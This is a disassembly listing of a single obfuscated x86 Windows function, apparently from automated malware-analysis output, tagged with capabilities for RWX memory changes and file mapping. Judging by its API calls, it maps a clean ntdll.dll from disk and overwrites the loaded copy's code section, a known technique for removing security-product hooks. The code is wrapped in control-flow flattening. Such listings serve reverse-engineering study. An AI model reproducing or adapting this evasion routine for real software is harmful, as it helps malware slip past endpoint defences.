Function at 0x40dce0
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x9c
mov eax, dword [0x47e080]
xor eax, ebp
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041d7b0
lea eax, str.ntdll.dll
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
lea eax, [ebp - 0x18]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
sub esp, 0x10
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x84], 0xedd0459b
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x88], eax
sub eax, 0x8253eaa9
je 0x40e2a5
jmp 0x40dd80
mov eax, dword [ebp - 0x88]
sub eax, 0x83f3d49d
je 0x40e41a
jmp 0x40dd96
mov eax, dword [ebp - 0x88]
sub eax, 0x86d7a6c6
je 0x40e953
jmp 0x40ddac
mov eax, dword [ebp - 0x88]
sub eax, 0x91cd0eaf
je 0x40e40b
jmp 0x40ddc2
mov eax, dword [ebp - 0x88]
sub eax, 0x9ff47b8e
je 0x40eb65
jmp 0x40ddd8
mov eax, dword [ebp - 0x88]
sub eax, 0xa3cd3a07
je 0x40eabc
jmp 0x40ddee
mov eax, dword [ebp - 0x88]
sub eax, 0xa82e0f6a
je 0x40eacb
jmp 0x40de04
mov eax, dword [ebp - 0x88]
sub eax, 0xa95f6c4e
je 0x40e762
jmp 0x40de1a
mov eax, dword [ebp - 0x88]
sub eax, 0xac3c7b63
je 0x40e88c
jmp 0x40de30
mov eax, dword [ebp - 0x88]
sub eax, 0xae530a15
je 0x40e2ec
jmp 0x40de46
mov eax, dword [ebp - 0x88]
sub eax, 0xb85eea2f
je 0x40e65d
jmp 0x40de5c
mov eax, dword [ebp - 0x88]
sub eax, 0xc6c39759
je 0x40e434
jmp 0x40de72
mov eax, dword [ebp - 0x88]
sub eax, 0xc6ebf4cd
je 0x40e7e7
jmp 0x40de88
mov eax, dword [ebp - 0x88]
sub eax, 0xd1f1187a
je 0x40e6f1
jmp 0x40de9e
mov eax, dword [ebp - 0x88]
sub eax, 0xd4511cf2
je 0x40e66c
jmp 0x40deb4
mov eax, dword [ebp - 0x88]
sub eax, 0xd4d374ff
je 0x40e875
jmp 0x40deca
mov eax, dword [ebp - 0x88]
sub eax, 0xd891ddb9
je 0x40e382
jmp 0x40dee0
mov eax, dword [ebp - 0x88]
sub eax, 0xdbf7e602
je 0x40e9c1
jmp 0x40def6
mov eax, dword [ebp - 0x88]
sub eax, 0xe4855faf
je 0x40e944
jmp 0x40df0c
mov eax, dword [ebp - 0x88]
sub eax, 0xe5fdb800
je 0x40ea85
jmp 0x40df22
mov eax, dword [ebp - 0x88]
sub eax, 0xea382674
je 0x40e4aa
jmp 0x40df38
mov eax, dword [ebp - 0x88]
sub eax, 0xedd0459b
je 0x40e0c9
jmp 0x40df4e
mov eax, dword [ebp - 0x88]
sub eax, 0xf13c5a3e
je 0x40eb47
jmp 0x40df64
mov eax, dword [ebp - 0x88]
sub eax, 0xfa63e6d2
je 0x40eb22
jmp 0x40df7a
mov eax, dword [ebp - 0x88]
sub eax, 0x201be38
je 0x40e866
jmp 0x40df90
mov eax, dword [ebp - 0x88]
sub eax, 0xe304f43
je 0x40e562
jmp 0x40dfa6
mov eax, dword [ebp - 0x88]
sub eax, 0x12b601d8
je 0x40e89b
jmp 0x40dfbc
mov eax, dword [ebp - 0x88]
sub eax, 0x1ca0b466
je 0x40eb38
jmp 0x40dfd2
mov eax, dword [ebp - 0x88]
sub eax, 0x2c6ae2f6
je 0x40e2b4
jmp 0x40dfe8
mov eax, dword [ebp - 0x88]
sub eax, 0x2ecc23e2
je 0x40e8e4
jmp 0x40dffe
mov eax, dword [ebp - 0x88]
sub eax, 0x38708bdc
je 0x40ea62
jmp 0x40e014
mov eax, dword [ebp - 0x88]
sub eax, 0x45f6cfc3
je 0x40ea53
jmp 0x40e02a
mov eax, dword [ebp - 0x88]
sub eax, 0x495cda68
je 0x40e5d1
jmp 0x40e040
mov eax, dword [ebp - 0x88]
sub eax, 0x534c0839
je 0x40e21a
jmp 0x40e056
mov eax, dword [ebp - 0x88]
sub eax, 0x580509c8
je 0x40e771
jmp 0x40e06c
mov eax, dword [ebp - 0x88]
sub eax, 0x5b71e907
je 0x40e1a4
jmp 0x40e082
mov eax, dword [ebp - 0x88]
sub eax, 0x66458ec1
je 0x40e580
jmp 0x40e098
mov eax, dword [ebp - 0x88]
sub eax, 0x72d503dd
je 0x40e2d3
jmp 0x40e0ae
mov eax, dword [ebp - 0x88]
sub eax, 0x74272da9
je 0x40e30c
jmp 0x40e0c4
jmp 0x40eb8d
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x70]
add eax, 0x3c
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x84], 0x5b71e907
jmp 0x40eb8d
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
mov edx, ecx
sub edx, 0xee912b04
sub edx, 1
add edx, 0xee912b04
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe5fdb800
mov ecx, 0x534c0839
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov eax, dword [ebp - 0x50]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x54]
add eax, 0x2cbc81cc
add eax, ecx
sub eax, 0x2cbc81cc
mov dword [ebp - 0x74], eax
mov word [ebp - 0x76], 0
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5fdb800
mov ecx, 0x8253eaa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov dword [ebp - 0x84], 0x2c6ae2f6
jmp 0x40eb8d
movzx eax, word [ebp - 0x76]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x74]
add eax, 4
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x84], 0x72d503dd
jmp 0x40eb8d
mov eax, dword [ebp - 0x48]
movzx eax, word [eax + 2]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x84], 0xae530a15
jmp 0x40eb8d
mov edx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x44]
mov eax, 0x12b601d8
mov ecx, 0x74272da9
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
mov edx, ecx
sub edx, 0xc098bbeb
sub edx, 1
add edx, 0xc098bbeb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa3cd3a07
mov ecx, 0xd891ddb9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov eax, dword [ebp - 0x74]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa3cd3a07
mov ecx, 0x91cd0eaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov dword [ebp - 0x84], 0x83f3d49d
jmp 0x40eb8d
mov eax, dword [ebp - 0x3c]
mov ax, word [eax + 0x14]
mov word [ebp - 0x38], ax
mov dword [ebp - 0x84], 0xc6c39759
jmp 0x40eb8d
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
mov edx, ecx
add edx, 0xb0e2db56
sub edx, 1
sub edx, 0xb0e2db56
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa82e0f6a
mov ecx, 0xea382674
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov ax, word [ebp - 0x38]
movzx ecx, ax
mov eax, dword [ebp - 0x40]
add eax, 0x8161f1e2
add eax, ecx
sub eax, 0x8161f1e2
movzx ecx, word [ebp - 0x76]
imul ecx, ecx, 0x28
add eax, 0x7bebfaf8
add eax, ecx
sub eax, 0x7bebfaf8
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42cd45
call fcn.004210b0
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x35], al
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa82e0f6a
mov ecx, 0xe304f43
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov dl, byte [ebp - 0x35]
mov eax, 0x66458ec1
mov ecx, 0xa95f6c4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov eax, dword [0x47f544]
mov ecx, dword [0x47f540]
mov edx, eax
sub edx, 0x9bcc5bd8
sub edx, 1
add edx, 0x9bcc5bd8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa63e6d2
mov ecx, 0x495cda68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x30], eax
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
mov edx, ecx
add edx, 0x40582487
sub edx, 1
sub edx, 0x40582487
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfa63e6d2
mov ecx, 0xb85eea2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov dword [ebp - 0x84], 0xd4511cf2
jmp 0x40eb8d
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0x30]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0xc]
add eax, 0x54703ef4
add eax, ecx
sub eax, 0x54703ef4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x84], 0xd1f1187a
jmp 0x40eb8d
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x2c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041d910
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0xc]
sub esi, 0x26fcadcf
add esi, eax
add esi, 0x26fcadcf
lea eax, [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov dword [ebp - 0x84], 0xa95f6c4e
jmp 0x40eb8d
mov dword [ebp - 0x84], 0x580509c8
jmp 0x40eb8d
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
mov edx, ecx
sub edx, 0x5740eaf8
sub edx, 1
add edx, 0x5740eaf8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1ca0b466
mov ecx, 0xc6ebf4cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov ax, word [ebp - 0x76]
xor ecx, ecx
sub cx, 1
sub ax, cx
mov word [ebp - 0x22], ax
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1ca0b466
mov ecx, 0x201be38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov dword [ebp - 0x84], 0xd4d374ff
jmp 0x40eb8d
mov ax, word [ebp - 0x22]
mov word [ebp - 0x76], ax
mov dword [ebp - 0x84], 0xac3c7b63
jmp 0x40eb8d
mov dword [ebp - 0x84], 0x2c6ae2f6
jmp 0x40eb8d
mov eax, dword [0x47f544]
mov ecx, dword [0x47f540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf13c5a3e
mov ecx, 0x2ecc23e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [0x47f544]
mov ecx, dword [0x47f540]
mov edx, eax
sub edx, 0xd218306d
sub edx, 1
add edx, 0xd218306d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf13c5a3e
mov ecx, 0xe4855faf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov dword [ebp - 0x84], 0x86d7a6c6
jmp 0x40eb8d
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9ff47b8e
mov ecx, 0xdbf7e602
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x20], eax
mov ecx, dword [0x47f544]
mov eax, dword [0x47f540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9ff47b8e
mov ecx, 0x45f6cfc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40eb8d
mov dword [ebp - 0x84], 0x38708bdc
jmp 0x40eb8d
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041caa0
add esp, 0x9c
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x50]
mov edx, dword [eax]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x74], eax
mov word [ebp - 0x76], 0
mov dword [ebp - 0x84], 0x534c0839
jmp 0x40eb8d
mov dword [ebp - 0x84], 0xd891ddb9
jmp 0x40eb8d
mov ax, word [ebp - 0x38]
movzx ecx, ax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
add eax, 0xccf8e079
add eax, ecx
sub eax, 0xccf8e079
movzx ecx, word [ebp - 0x76]
imul edx, ecx, 0x28
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42cd45
call fcn.004210b0
mov dword [ebp - 0x84], 0xea382674
jmp 0x40eb8d
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x84], 0x495cda68
jmp 0x40eb8d
mov dword [ebp - 0x84], 0xc6ebf4cd
jmp 0x40eb8d
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x84], 0x2ecc23e2
jmp 0x40eb8d
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x84], 0xdbf7e602
jmp 0x40dd64